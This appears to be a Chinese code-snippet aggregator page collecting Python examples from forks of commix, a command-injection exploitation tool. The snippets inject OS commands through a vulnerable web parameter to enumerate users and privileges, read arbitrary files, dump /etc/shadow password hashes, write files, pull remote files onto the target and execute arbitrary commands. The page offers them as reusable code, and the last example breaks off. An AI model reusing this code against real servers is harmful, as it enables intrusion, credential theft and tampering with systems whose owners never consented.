本文整理汇总了Python中src.core.injections.results_based.techniques.eval_based.eb_injector.injection函数 的典型用法代码示例。如果您正苦于以下问题:Python injection函数的具体用法?Python injection怎么用?Python injection使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。
在下文中一共展示了injection函数 的20个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于我们的系统推荐出更棒的Python代码示例。
示例1: current_user
def current_user(separator, TAG, prefix, suffix, http_request_method, url, vuln_parameter):
cmd = settings.CURRENT_USER
response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter)
cu_account = eb_injector.injection_results(response, TAG)
if cu_account:
cu_account = "".join(str(p) for p in cu_account).replace(" ", "", 1)[:-1]
# Check if the user have super privileges.
if menu.options.is_root:
cmd = settings.ISROOT
response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter)
shell = eb_injector.injection_results(response, TAG)
if menu.options.verbose:
print ""
if shell:
shell = "".join(str(p) for p in shell).replace(" ", "", 1)[:-1]
sys.stdout.write(Style.BRIGHT + "(!) The current user is " + Style.UNDERLINE + cu_account + Style.RESET_ALL)
if shell != "0":
sys.stdout.write(Style.BRIGHT + " and it is " + Style.UNDERLINE + "not" + Style.RESET_ALL + Style.BRIGHT + " privilleged" + Style.RESET_ALL + ".\n")
sys.stdout.flush()
else:
sys.stdout.write(Style.BRIGHT + " and it is " + Style.UNDERLINE + "" + Style.RESET_ALL + Style.BRIGHT + " privilleged" + Style.RESET_ALL + ".\n")
sys.stdout.flush()
else:
sys.stdout.write(Style.BRIGHT + "(!) The current user is " + Style.UNDERLINE + cu_account + Style.RESET_ALL + ".\n")
sys.stdout.flush()
开发者ID:ksmaheshkumar, 项目名称:commix, 代码行数:25, 代码来源:eb_enumeration.py
示例2: system_information
def system_information(separator, TAG, prefix, suffix, http_request_method, url, vuln_parameter, filename):
cmd = settings.RECOGNISE_OS
response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, filename)
target_os = eb_injector.injection_results(response, TAG)
if target_os:
target_os = "".join(str(p) for p in target_os).replace(" ", "", 1)[:-1]
if menu.options.verbose:
print ""
if target_os == "Linux":
cmd = settings.RECOGNISE_HP
response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, filename)
target_arch = eb_injector.injection_results(response, TAG)
if target_arch:
if menu.options.verbose:
print ""
target_arch = "".join(str(p) for p in target_arch).replace(" ", "", 1)[:-1]
sys.stdout.write(Style.BRIGHT + "(!) The target operating system is " + Style.UNDERLINE + target_os + Style.RESET_ALL)
sys.stdout.write(Style.BRIGHT + " and the hardware platform is " + Style.UNDERLINE + target_arch + Style.RESET_ALL + ".\n")
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write(" (!) The target operating system is " + target_os)
output_file.write(" and the hardware platform is " + target_arch + ".\n")
output_file.close()
else:
if menu.options.verbose:
print ""
sys.stdout.write(Style.BRIGHT + "(!) The target operating system is " + Style.UNDERLINE + target_os + Style.RESET_ALL + ".\n")
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write(" (!) The target operating system is " + target_os + ".\n")
output_file.close()
开发者ID:0x0mar, 项目名称:commix, 代码行数:33, 代码来源:eb_enumeration.py
示例3: do_check
def do_check(separator,TAG,prefix,suffix,http_request_method,url,vuln_parameter):
# Read file
if menu.options.file_read:
file_to_read = menu.options.file_read
cmd = "echo $(" + settings.FILE_READ + file_to_read + ")"
response = eb_injector.injection(separator,TAG,cmd,prefix,suffix,http_request_method,url,vuln_parameter)
shell = eb_injector.injection_results(response,TAG)
shell = "".join(str(p) for p in shell)
if shell:
if menu.options.verbose:
print ""
sys.stdout.write(colors.BOLD + "(!) Contents of file " + colors.UNDERL + file_to_read + colors.RESET + " : ")
sys.stdout.flush()
print shell
else:
sys.stdout.write("\n" + colors.BGRED + "(x) Error: It seems that you don't have permissions to read the '"+ file_to_read + "' file.\n" + colors.RESET)
sys.stdout.flush()
# Write file
if menu.options.file_write:
file_to_write = menu.options.file_write
if not os.path.exists(file_to_write):
sys.stdout.write("\n" + colors.BGRED + "(x) Error: It seems that the '"+ file_to_write + "' does not exists." + colors.RESET)
sys.stdout.flush()
sys.exit(0)
if os.path.isfile(file_to_write):
with open(file_to_write, 'r') as content_file:
content = [line.replace("\n", " ") for line in content_file]
content = "".join(str(p) for p in content).replace("'","\"")
else:
sys.stdout.write("\n" + colors.BGRED + "(x) Error: It seems that '"+ file_to_write + "' is not a file." + colors.RESET)
sys.stdout.flush()
# Check the file-destination
if os.path.split(menu.options.file_dest)[1] == "" :
dest_to_write = os.path.split(menu.options.file_dest)[0] + "/" + os.path.split(menu.options.file_write)[1]
elif os.path.split(menu.options.file_dest)[0] == "/":
dest_to_write = "/" + os.path.split(menu.options.file_dest)[1] + "/" + os.path.split(menu.options.file_write)[1]
else:
dest_to_write = menu.options.file_dest
cmd = settings.FILE_WRITE + " '"+ content + "'" + " > " + "'"+ dest_to_write + "'"
response = eb_injector.injection(separator,TAG,cmd,prefix,suffix,http_request_method,url,vuln_parameter)
shell = eb_injector.injection_results(response,TAG)
shell = "".join(str(p) for p in shell)
# Check if file exists!
cmd = "echo $(ls " + dest_to_write + ")"
response = eb_injector.injection(separator,TAG,cmd,prefix,suffix,http_request_method,url,vuln_parameter)
shell = eb_injector.injection_results(response,TAG)
shell = "".join(str(p) for p in shell)
if shell:
if menu.options.verbose:
print ""
sys.stdout.write(colors.BOLD + "\n(!) The " + colors.UNDERL + shell + colors.RESET + colors.BOLD +" file was created successfully!\n" + colors.RESET)
sys.stdout.flush()
else:
sys.stdout.write("\n" + colors.BGRED + "(x) Error: It seems that you don't have permissions to write the '"+ dest_to_write + "' file.\n" + colors.RESET)
sys.stdout.flush()
开发者ID:LZ-SecurityTeam, 项目名称:commix, 代码行数:60, 代码来源:eb_file_access.py
示例4: do_check
def do_check(separator,TAG,prefix,suffix,http_request_method,url,vuln_parameter):
# Current user enumeration
if menu.options.current_user:
menu.options.verbose = False
cmd = settings.CURRENT_USER
response = eb_injector.injection(separator,TAG,cmd,prefix,suffix,http_request_method,url,vuln_parameter)
shell = eb_injector.injection_results(response,TAG)
if shell:
if menu.options.verbose:
print ""
shell = "".join(str(p) for p in shell).replace(" ", "", 1)
print " (+) Current User : "+ colors.YELLOW + colors.BOLD + shell + colors.RESET + ""
# Is-root enumeration
if menu.options.is_root:
cmd = settings.ISROOT
response = eb_injector.injection(separator,TAG,cmd,prefix,suffix,http_request_method,url,vuln_parameter)
shell = eb_injector.injection_results(response,TAG)
if shell:
if menu.options.verbose:
print ""
sys.stdout.write( " (+) Current user have root privs :")
sys.stdout.flush()
shell = "".join(str(p) for p in shell)
if shell != "0":
print colors.RED + " FALSE "+colors.RESET
else:
print colors.GREEN + " TRUE "+colors.RESET
# Hostname enumeration
if menu.options.hostname:
menu.options.verbose = False
cmd = settings.HOSTNAME
response = eb_injector.injection(separator,TAG,cmd,prefix,suffix,http_request_method,url,vuln_parameter)
shell = eb_injector.injection_results(response,TAG)
if shell:
if menu.options.verbose:
print ""
shell = "".join(str(p) for p in shell).replace(" ", "", 1)
print " (+) Hostname : "+ colors.YELLOW + colors.BOLD + shell + colors.RESET + ""
# Single os-shell execution
if menu.options.os_shell:
cmd = menu.options.os_shell
response = eb_injector.injection(separator,TAG,cmd,prefix,suffix,http_request_method,url,vuln_parameter)
shell = eb_injector.injection_results(response,TAG)
if shell:
if menu.options.verbose:
print ""
shell = "".join(str(p) for p in shell).replace(" ", "", 1)
print "\n" + colors.GREEN + colors.BOLD + shell + colors.RESET
sys.exit(0)
# eof
开发者ID:CodeGuardian, 项目名称:commix, 代码行数:56, 代码来源:eb_enumeration.py
示例5: current_user
def current_user(separator, TAG, prefix, suffix, http_request_method, url, vuln_parameter, alter_shell, filename):
if settings.TARGET_OS == "win":
settings.SYS_USERS = settings.WIN_SYS_USERS
settings.SYS_USERS = settings.SYS_USERS + "-replace('\s+',' '))"
if alter_shell:
settings.SYS_USERS = settings.SYS_USERS.replace("'","\\'")
else:
settings.SYS_USERS = "\"" + settings.SYS_USERS + "\""
cmd = settings.CURRENT_USER
response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, alter_shell, filename)
cu_account = eb_injector.injection_results(response, TAG)
if cu_account:
cu_account = "".join(str(p) for p in cu_account).replace(" ", "", 1)[:-1]
# Check if the user have super privileges.
if menu.options.is_root or menu.options.is_admin:
if settings.TARGET_OS == "win":
cmd = settings.IS_ADMIN
if not alter_shell:
cmd = "\"" + cmd + "\""
else:
cmd = settings.IS_ROOT
response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, alter_shell, filename)
shell = eb_injector.injection_results(response, TAG)
if menu.options.verbose:
print ""
sys.stdout.write(Style.BRIGHT + "(!) The current user is " + Style.UNDERLINE + cu_account + Style.RESET_ALL)
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write(" (!) The current user is " + cu_account)
output_file.close()
if shell:
shell = "".join(str(p) for p in shell).replace(" ", "", 1)[:-1]
if (settings.TARGET_OS == "win" and not "Admin" in shell) or \
(settings.TARGET_OS != "win" and shell != "0"):
sys.stdout.write(Style.BRIGHT + " and it is " + Style.UNDERLINE + "not" + Style.RESET_ALL + Style.BRIGHT + " privileged" + Style.RESET_ALL + ".\n")
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write(" and it is not privileged.\n")
output_file.close()
else:
sys.stdout.write(Style.BRIGHT + " and it is " + Style.UNDERLINE + Style.RESET_ALL + Style.BRIGHT + "privileged" + Style.RESET_ALL + ".\n")
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write(" and it is privileged.\n")
output_file.close()
else:
if menu.options.verbose:
print ""
sys.stdout.write(Style.BRIGHT + "(!) The current user is " + Style.UNDERLINE + cu_account + Style.RESET_ALL + ".\n")
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write(" (!) The current user is " + cu_account + "\n")
output_file.close()
开发者ID:x3omdax, 项目名称:commix, 代码行数:56, 代码来源:eb_enumeration.py
示例6: file_upload
def file_upload(separator, TAG, prefix, suffix, http_request_method, url, vuln_parameter, alter_shell, filename):
if settings.TARGET_OS == "win":
# Not yet implemented
pass
else:
file_to_upload = menu.options.file_upload
# check if remote file exists.
try:
urllib2.urlopen(file_to_upload)
except urllib2.HTTPError, err_msg:
warn_msg = "It seems that the '" + file_to_upload + "' file, does not exists. (" +str(err_msg)+ ")"
sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n")
sys.stdout.flush()
sys.exit(0)
# Check the file-destination
if os.path.split(menu.options.file_dest)[1] == "" :
dest_to_upload = os.path.split(menu.options.file_dest)[0] + "/" + os.path.split(menu.options.file_upload)[1]
elif os.path.split(menu.options.file_dest)[0] == "/":
dest_to_upload = "/" + os.path.split(menu.options.file_dest)[1] + "/" + os.path.split(menu.options.file_upload)[1]
else:
dest_to_upload = menu.options.file_dest
# Execute command
cmd = settings.FILE_UPLOAD + file_to_upload + " -O " + dest_to_upload
response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
shell = eb_injector.injection_results(response, TAG, cmd)
shell = "".join(str(p) for p in shell)
# Check if file exists!
if settings.TARGET_OS == "win":
cmd = "dir " + dest_to_upload + ")"
else:
cmd = "echo $(ls " + dest_to_upload + ")"
response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
shell = eb_injector.injection_results(response, TAG, cmd)
shell = "".join(str(p) for p in shell)
if settings.VERBOSITY_LEVEL >= 1:
print ""
if shell:
success_msg = "The " + shell
success_msg += Style.RESET_ALL + Style.BRIGHT + " file was uploaded successfully!"
sys.stdout.write(settings.print_success_msg(success_msg) + "\n")
sys.stdout.flush()
else:
warn_msg = "It seems that you don't have permissions to write the '" + dest_to_upload + "' file."
sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n")
sys.stdout.flush()
开发者ID:Cyber-Forensic, 项目名称:commix, 代码行数:48, 代码来源:eb_file_access.py
示例7: hostname
def hostname(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec):
if settings.TARGET_OS == "win":
settings.HOSTNAME = settings.WIN_HOSTNAME
cmd = settings.HOSTNAME
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
# Command execution results.
response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
# Perform target page reload (if it is required).
if settings.URL_RELOAD:
response = requests.url_reload(url, timesec)
# Evaluate injection results.
shell = eb_injector.injection_results(response, TAG, cmd)
shell = "".join(str(p) for p in shell).replace(" ", "", 1)
session_handler.store_cmd(url, cmd, shell, vuln_parameter)
else:
shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
if shell:
success_msg = "The hostname is " + shell + "."
sys.stdout.write(settings.print_success_msg(success_msg) + "\n")
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
success_msg = "The hostname is " + shell + ".\n"
output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.SUCCESS_SIGN) + success_msg)
output_file.close()
else:
warn_msg = "Heuristics have failed to identify the hostname."
print settings.print_warning_msg(warn_msg)
开发者ID:security-geeks, 项目名称:commix, 代码行数:28, 代码来源:eb_enumeration.py
示例8: file_read
def file_read(separator, TAG, prefix, suffix, http_request_method, url, vuln_parameter, alter_shell, filename):
file_to_read = menu.options.file_read
# Execute command
if settings.TARGET_OS == "win":
cmd = settings.WIN_FILE_READ + file_to_read
else:
cmd = "(" + settings.FILE_READ + file_to_read + ")"
response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
# Evaluate injection results.
shell = eb_injector.injection_results(response, TAG, cmd)
shell = "".join(str(p) for p in shell)
session_handler.store_cmd(url, cmd, shell, vuln_parameter)
else:
shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
if settings.VERBOSITY_LEVEL >= 1:
print ""
if shell:
success_msg = "The contents of file '"
success_msg += file_to_read + "'" + Style.RESET_ALL + ": "
sys.stdout.write(settings.print_success_msg(success_msg))
sys.stdout.flush()
print shell
output_file = open(filename, "a")
success_msg = "The contents of file '"
success_msg += file_to_read + "' : " + shell + ".\n"
output_file.write(" " + settings.SUCCESS_SIGN + success_msg)
output_file.close()
else:
warn_msg = "It seems that you don't have permissions "
warn_msg += "to read the '" + file_to_read + "' file."
sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n")
sys.stdout.flush()
开发者ID:Cyber-Forensic, 项目名称:commix, 代码行数:33, 代码来源:eb_file_access.py
示例9: powershell_version
def powershell_version(separator, TAG, prefix, suffix, http_request_method, url, vuln_parameter, alter_shell, filename):
cmd = settings.PS_VERSION
if alter_shell:
cmd = cmd.replace("'","\\'")
else:
cmd = "\"" + cmd + "\""
#Command execution results.
response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, alter_shell, filename)
# Evaluate injection results.
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
# Evaluate injection results.
ps_version = eb_injector.injection_results(response, TAG)
ps_version = "".join(str(p) for p in ps_version).replace(" ", "", 1)[:-1]
session_handler.store_cmd(url, cmd, ps_version, vuln_parameter)
else:
ps_version = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
try:
if float(ps_version):
settings.PS_ENABLED = True
if menu.options.verbose:
print ""
# Output PowerShell's version number
sys.stdout.write(Style.BRIGHT + "(!) The PowerShell's version number is " + Style.UNDERLINE + ps_version + Style.RESET_ALL + Style.BRIGHT + Style.RESET_ALL + ".\n")
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write(" (!) The PowerShell's version number is " + ps_version + ".\n")
output_file.close()
except ValueError:
print Fore.YELLOW + settings.WARNING_SIGN + "Heuristics have failed to identify PowerShell's version, which means that some payloads or injection techniques may be failed." + Style.RESET_ALL
settings.PS_ENABLED = False
checks.ps_check_failed()
开发者ID:jbrahy, 项目名称:commix, 代码行数:32, 代码来源:eb_enumeration.py
示例10: file_read
def file_read(separator, TAG, prefix, suffix, http_request_method, url, vuln_parameter, alter_shell, filename):
file_to_read = menu.options.file_read
# Execute command
if settings.TARGET_OS == "win":
cmd = settings.WIN_FILE_READ + file_to_read
else:
cmd = "(" + settings.FILE_READ + file_to_read + ")"
response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, alter_shell, filename)
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
# Evaluate injection results.
shell = eb_injector.injection_results(response, TAG)
shell = "".join(str(p) for p in shell)
session_handler.store_cmd(url, cmd, shell, vuln_parameter)
else:
shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
if menu.options.verbose:
print ""
if shell:
sys.stdout.write(Style.BRIGHT + "(!) The contents of file '" + Style.UNDERLINE + file_to_read + Style.RESET_ALL + "' : ")
sys.stdout.flush()
print shell
output_file = open(filename, "a")
output_file.write(" (!) The contents of file '" + file_to_read + "' : " + shell + ".\n")
output_file.close()
else:
sys.stdout.write(Fore.YELLOW + settings.WARNING_SIGN + "It seems that you don't have permissions to read the '" + file_to_read + "' file." + Style.RESET_ALL + "\n")
sys.stdout.flush()
开发者ID:0day29, 项目名称:commix, 代码行数:27, 代码来源:eb_file_access.py
示例11: system_passwords
def system_passwords(separator, TAG, prefix, suffix, http_request_method, url, vuln_parameter, filename):
cmd = settings.SYS_PASSES
response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, filename)
sys_passes = eb_injector.injection_results(response, TAG)
if sys_passes :
sys.stdout.write("(*) Fetching '" + settings.SHADOW_FILE + "' to enumerate users password hashes... ")
sys.stdout.flush()
sys_passes = "".join(str(p) for p in sys_passes)
sys_passes = sys_passes.replace("(@)", "\n")
sys_passes = sys_passes.split( )
if len(sys_passes) != 0 :
sys.stdout.write("[ " + Fore.GREEN + "SUCCEED" + Style.RESET_ALL + " ]")
sys.stdout.write(Style.BRIGHT + "\n(!) Identified " + str(len(sys_passes)) + " entries in '" + settings.SHADOW_FILE + "'.\n" + Style.RESET_ALL)
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write(" (!) Identified " + str(len(sys_passes)) + " entries in '" + settings.SHADOW_FILE + "'.\n" )
output_file.close()
count = 0
for line in sys_passes:
count = count + 1
fields = line.split(":")
if fields[1] != "*" and fields[1] != "!!" and fields[1] != "":
print " ("+str(count)+") " + Style.BRIGHT + fields[0]+ Style.RESET_ALL + " : " + Style.BRIGHT + fields[1]+ Style.RESET_ALL
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write(" ("+str(count)+") " + fields[0] + " : " + fields[1])
output_file.close()
else:
sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]")
sys.stdout.flush()
print "\n" + Back.RED + "(x) Error: Cannot open '" + settings.SHADOW_FILE + "'." + Style.RESET_ALL
开发者ID:0x0mar, 项目名称:commix, 代码行数:32, 代码来源:eb_enumeration.py
示例12: file_upload
def file_upload(separator, TAG, prefix, suffix, http_request_method, url, vuln_parameter, alter_shell, filename):
if settings.TARGET_OS == "win":
# Not yet implemented
pass
else:
file_to_upload = menu.options.file_upload
# check if remote file exists.
try:
urllib2.urlopen(file_to_upload)
except urllib2.HTTPError, err:
sys.stdout.write(Fore.YELLOW + settings.WARNING_SIGN + "It seems that the '" + file_to_upload + "' file, does not exists. (" +str(err)+ ")" + Style.RESET_ALL + "\n")
sys.stdout.flush()
sys.exit(0)
# Check the file-destination
if os.path.split(menu.options.file_dest)[1] == "" :
dest_to_upload = os.path.split(menu.options.file_dest)[0] + "/" + os.path.split(menu.options.file_upload)[1]
elif os.path.split(menu.options.file_dest)[0] == "/":
dest_to_upload = "/" + os.path.split(menu.options.file_dest)[1] + "/" + os.path.split(menu.options.file_upload)[1]
else:
dest_to_upload = menu.options.file_dest
# Execute command
cmd = settings.FILE_UPLOAD + file_to_upload + " -O " + dest_to_upload
response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, alter_shell, filename)
shell = eb_injector.injection_results(response, TAG)
shell = "".join(str(p) for p in shell)
# Check if file exists!
if settings.TARGET_OS == "win":
cmd = "dir " + dest_to_upload + ")"
else:
cmd = "echo $(ls " + dest_to_upload + ")"
response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, alter_shell, filename)
shell = eb_injector.injection_results(response, TAG)
shell = "".join(str(p) for p in shell)
if menu.options.verbose:
print ""
if shell:
sys.stdout.write(Style.BRIGHT + "(!) The " + Style.UNDERLINE + shell + Style.RESET_ALL + Style.BRIGHT + " file was uploaded successfully!" + Style.RESET_ALL + "\n")
sys.stdout.flush()
else:
sys.stdout.write(Fore.YELLOW + settings.WARNING_SIGN + "It seems that you don't have permissions to write the '" + dest_to_upload + "' file." + Style.RESET_ALL + "\n")
sys.stdout.flush()
开发者ID:bird0ntheway, 项目名称:commix, 代码行数:44, 代码来源:eb_file_access.py
示例13: system_users
def system_users(separator, TAG, prefix, suffix, http_request_method, url, vuln_parameter, filename):
cmd = settings.SYS_USERS
response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, filename)
sys_users = eb_injector.injection_results(response, TAG)
if sys_users :
if menu.options.verbose:
print ""
sys.stdout.write("(*) Fetching '" + settings.PASSWD_FILE + "' to enumerate users entries... ")
sys.stdout.flush()
sys_users = "".join(str(p) for p in sys_users)
sys_users = sys_users.replace("(@)", "\n")
sys_users = sys_users.split()
if len(sys_users) != 0 :
sys.stdout.write(Style.BRIGHT + "\n(!) Identified " + str(len(sys_users)) + " entries in '" + settings.PASSWD_FILE + "'.\n" + Style.RESET_ALL)
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write(" (!) Identified " + str(len(sys_users)) + " entries in '" + settings.PASSWD_FILE + "'.\n")
output_file.close()
count = 0
for line in sys_users:
count = count + 1
fields = line.split(":")
# System users privileges enumeration
if menu.options.privileges:
if int(fields[1]) == 0:
is_privilleged = Style.RESET_ALL + " is" + Style.BRIGHT + " root user "
is_privilleged_nh = " is root user "
elif int(fields[1]) > 0 and int(fields[1]) < 99 :
is_privilleged = Style.RESET_ALL + " is" + Style.BRIGHT + " system user "
is_privilleged_nh = " is system user "
elif int(fields[1]) >= 99 and int(fields[1]) < 65534 :
if int(fields[1]) == 99 or int(fields[1]) == 60001 or int(fields[1]) == 65534:
is_privilleged = Style.RESET_ALL + " is" + Style.BRIGHT + " anonymous user "
is_privilleged_nh = " is anonymous user "
elif int(fields[1]) == 60002:
is_privilleged = Style.RESET_ALL + " is" + Style.BRIGHT + " non-trusted user "
is_privilleged_nh = " is non-trusted user "
else:
is_privilleged = Style.RESET_ALL + " is" + Style.BRIGHT + " regular user "
is_privilleged_nh = " is regular user "
else :
is_privilleged = ""
is_privilleged_nh = ""
else :
is_privilleged = ""
is_privilleged_nh = ""
print " ("+str(count)+") '" + Style.BRIGHT + Style.UNDERLINE + fields[0]+ Style.RESET_ALL + "'" + Style.BRIGHT + is_privilleged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'."
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write(" ("+str(count)+") '" + fields[0]+ "'" + is_privilleged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" )
output_file.close()
else:
sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]")
sys.stdout.flush()
print "\n" + Back.RED + "(x) Error: Cannot open '" + settings.PASSWD_FILE + "'." + Style.RESET_ALL
开发者ID:0x0mar, 项目名称:commix, 代码行数:56, 代码来源:eb_enumeration.py
示例14: single_os_cmd_exec
def single_os_cmd_exec(separator, TAG, prefix, suffix, http_request_method, url, vuln_parameter):
cmd = menu.options.os_cmd
response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter)
shell = eb_injector.injection_results(response, TAG)
if shell:
shell = "".join(str(p) for p in shell).replace(" ", "", 1)[:-1]
if menu.options.verbose:
print ""
print "\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL
sys.exit(0)
开发者ID:ksmaheshkumar, 项目名称:commix, 代码行数:10, 代码来源:eb_enumeration.py
示例15: file_write
def file_write(separator, TAG, prefix, suffix, http_request_method, url, vuln_parameter):
file_to_write = menu.options.file_write
if not os.path.exists(file_to_write):
sys.stdout.write("\n" + Fore.YELLOW + "(^) Warning: It seems that the '"+ file_to_write + "' file, does not exists." + Style.RESET_ALL)
sys.stdout.flush()
sys.exit(0)
if os.path.isfile(file_to_write):
with open(file_to_write, 'r') as content_file:
content = [line.replace("\n", " ") for line in content_file]
content = "".join(str(p) for p in content).replace("'", "\"")
else:
sys.stdout.write("\n" + Fore.YELLOW + "(^) Warning: It seems that '"+ file_to_write + "' is not a file." + Style.RESET_ALL)
sys.stdout.flush()
# Check the file-destination
if os.path.split(menu.options.file_dest)[1] == "" :
dest_to_write = os.path.split(menu.options.file_dest)[0] + "/" + os.path.split(menu.options.file_write)[1]
elif os.path.split(menu.options.file_dest)[0] == "/":
dest_to_write = "/" + os.path.split(menu.options.file_dest)[1] + "/" + os.path.split(menu.options.file_write)[1]
else:
dest_to_write = menu.options.file_dest
# Execute command
cmd = settings.FILE_WRITE + " '"+ content + "'" + " > " + "'"+ dest_to_write + "'"
response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter)
shell = eb_injector.injection_results(response, TAG)
shell = "".join(str(p) for p in shell).replace(" ", "", 1)[:-1]
# Check if file exists!
cmd = "(ls " + dest_to_write + ")"
response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter)
shell = eb_injector.injection_results(response, TAG)
shell = "".join(str(p) for p in shell).replace(" ", "", 1)[:-1]
if shell:
if menu.options.verbose:
print ""
sys.stdout.write(Style.BRIGHT + "\n(!) The " + Style.UNDERLINE + shell + Style.RESET_ALL + Style.BRIGHT +" file was created successfully!\n" + Style.RESET_ALL)
sys.stdout.flush()
else:
sys.stdout.write("\n" + Fore.YELLOW + "(^) Warning: It seems that you can't create the '"+ dest_to_write + "' file." + Style.RESET_ALL + "\n")
sys.stdout.flush()
开发者ID:hotelzululima, 项目名称:commix, 代码行数:43, 代码来源:eb_file_access.py
示例16: system_passwords
def system_passwords(separator, TAG, prefix, suffix, http_request_method, url, vuln_parameter, alter_shell, filename):
if settings.TARGET_OS == "win":
# Not yet implemented!
pass
else:
cmd = settings.SYS_PASSES
response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, alter_shell, filename)
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
# Evaluate injection results.
sys_passes = eb_injector.injection_results(response, TAG)
sys_passes = "".join(str(p) for p in sys_passes)
session_handler.store_cmd(url, cmd, sys_passes, vuln_parameter)
else:
sys_passes = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
if sys_passes == "":
sys_passes = " "
if sys_passes :
if menu.options.verbose:
print ""
sys.stdout.write(settings.INFO_SIGN + "Fetching '" + settings.SHADOW_FILE + "' to enumerate users password hashes... ")
sys.stdout.flush()
sys_passes = "".join(str(p) for p in sys_passes)
sys_passes = sys_passes.replace(" ", "\n")
sys_passes = sys_passes.split( )
if len(sys_passes) != 0 :
sys.stdout.write("[ " + Fore.GREEN + "SUCCEED" + Style.RESET_ALL + " ]")
sys.stdout.write(Style.BRIGHT + "\n(!) Identified " + str(len(sys_passes)) + " entr" + ('ies', 'y')[len(sys_passes) == 1] + " in '" + settings.SHADOW_FILE + "'.\n" + Style.RESET_ALL)
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write("\n (!) Identified " + str(len(sys_passes)) + " entr" + ('ies', 'y')[len(sys_passes) == 1] + " in '" + settings.SHADOW_FILE + "'.\n" )
output_file.close()
count = 0
for line in sys_passes:
count = count + 1
try:
fields = line.split(":")
if fields[1] != "*" and fields[1] != "!" and fields[1] != "":
print " (" +str(count)+ ") " + Style.BRIGHT + fields[0]+ Style.RESET_ALL + " : " + Style.BRIGHT + fields[1]+ Style.RESET_ALL
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write(" (" +str(count)+ ") " + fields[0] + " : " + fields[1])
output_file.close()
# Check for appropriate '/etc/shadow' format.
except IndexError:
if count == 1 :
sys.stdout.write(Fore.YELLOW + settings.WARNING_SIGN + "It seems that '" + settings.SHADOW_FILE + "' file is not in the appropriate format. Thus, it is expoted as a text file." + Style.RESET_ALL + "\n")
print fields[0]
output_file = open(filename, "a")
output_file.write(" " + fields[0])
output_file.close()
else:
sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]")
sys.stdout.flush()
print "\n" + Fore.YELLOW + settings.WARNING_SIGN + "It seems that you don't have permissions to read '" + settings.SHADOW_FILE + "' to enumerate users password hashes." + Style.RESET_ALL
开发者ID:jbrahy, 项目名称:commix, 代码行数:55, 代码来源:eb_enumeration.py
示例17: single_os_cmd_exec
def single_os_cmd_exec(separator, TAG, prefix, suffix, http_request_method, url, vuln_parameter, filename):
